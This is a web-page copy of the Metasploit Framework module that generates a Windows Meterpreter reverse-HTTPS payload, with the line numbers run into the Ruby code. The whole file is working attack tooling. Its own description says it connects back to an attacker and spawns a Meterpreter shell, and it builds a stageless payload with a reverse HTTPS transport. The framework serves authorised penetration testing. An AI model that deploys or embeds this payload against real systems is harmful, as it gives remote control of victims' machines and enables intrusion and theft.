Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/windows/meterpreter_reverse_https.rb
Views: 11766
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456module MetasploitModule78CachedSize = 178780910include Msf::Payload::TransportConfig11include Msf::Payload::Windows12include Msf::Payload::Single13include Msf::Payload::Windows::MeterpreterLoader14include Msf::Sessions::MeterpreterOptions1516def initialize(info = {})1718super(merge_info(info,19'Name' => 'Windows Meterpreter Shell, Reverse HTTPS Inline',20'Description' => 'Connect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.',21'Author' => [ 'OJ Reeves' ],22'License' => MSF_LICENSE,23'Platform' => 'win',24'Arch' => ARCH_X86,25'Handler' => Msf::Handler::ReverseHttps,26'Session' => Msf::Sessions::Meterpreter_x86_Win27))2829register_options([30OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']),31OptString.new('EXTINIT', [false, 'Initialization strings for extensions'])32])3334register_advanced_options(35Msf::Opt::http_header_options +36Msf::Opt::http_proxy_options37)38end3940def generate(opts={})41opts[:stageless] = true42stage_meterpreter(opts) + generate_config(opts)43end4445def generate_config(opts={})46opts[:uuid] ||= generate_payload_uuid4748# create the configuration block49config_opts = {50arch: opts[:uuid].arch,51exitfunk: datastore['EXITFUNC'],52expiration: datastore['SessionExpirationTimeout'].to_i,53uuid: opts[:uuid],54transports: [transport_config_reverse_https(opts)],55extensions: (datastore['EXTENSIONS'] || '').split(','),56ext_init: (datastore['EXTINIT'] || ''),57stageless: true,58}.merge(meterpreter_logging_config(opts))5960# create the configuration instance based off the parameters61config = Rex::Payloads::Meterpreter::Config.new(config_opts)6263# return the binary version of it64config.to_b65end66end676869